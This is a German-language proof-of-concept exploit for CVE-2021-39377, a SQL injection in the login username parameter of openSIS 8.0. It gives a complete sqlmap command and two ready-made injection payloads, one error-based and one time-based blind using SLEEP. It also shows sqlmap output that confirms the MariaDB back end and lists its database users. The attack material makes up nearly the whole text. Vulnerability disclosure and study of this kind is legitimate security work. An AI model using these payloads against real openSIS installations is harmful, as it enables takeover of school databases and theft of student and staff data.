
Proof-of-Concept für CVE-2021-39377, eine SQL-Injection-Schwachstelle in openSIS 8.0 über den Benutzername-Parameter, die eine Datenbankübernahme durch fehlerbasierte und zeitbasierte Blindangriffe ermöglicht.
Eine SQL-Injection-Schwachstelle besteht in Version 8.0 von openSIS, wenn MySQL (MariaDB) als Anwendungsdatenbank verwendet wird. Ein bösartiger Angreifer kann SQL-Befehle an die MySQL (MariaDB)-Datenbank über den anfälligen Parameter username= senden.
Anfällige PHP-Seite:
index.php - Parameter username
Anfälliger Payload
sqlmap "http://localhost:8081/index.php" --users --data="USERNAME=admin&PASSWORD=test1234%21&language=en&log=" --dbms="MySQL" --level=3 --risk=2
SQL-Injection:
http://localhost:8081/index.php
Parameter: USERNAME (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: USERNAME=admin') AND (SELECT 4391 FROM(SELECT COUNT(*),CONCAT(0x71716b7071,(SELECT (ELT(4391=4391,1))),0x716b717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- IzoO&PASSWORD=test1234!&language=en&log=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: USERNAME=admin') AND (SELECT 2137 FROM (SELECT(SLEEP(5)))BwzJ)-- sbsL&PASSWORD=test1234!&language=en&log=
[22:35:47] [INFO] testing MySQL
[22:35:47] [INFO] confirming MySQL
[22:35:47] [INFO] the back-end DBMS is MySQL
web application technology: PHP, PHP 7.4.21
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[22:35:47] [INFO] fetching database users
database management system users [3]:
[*] 'mariadb.sys'@'localhost'
[*] 'mysql'@'localhost'
[*] 'root'@'localhost'
Entdeckt von Nathan Johnson, August 2021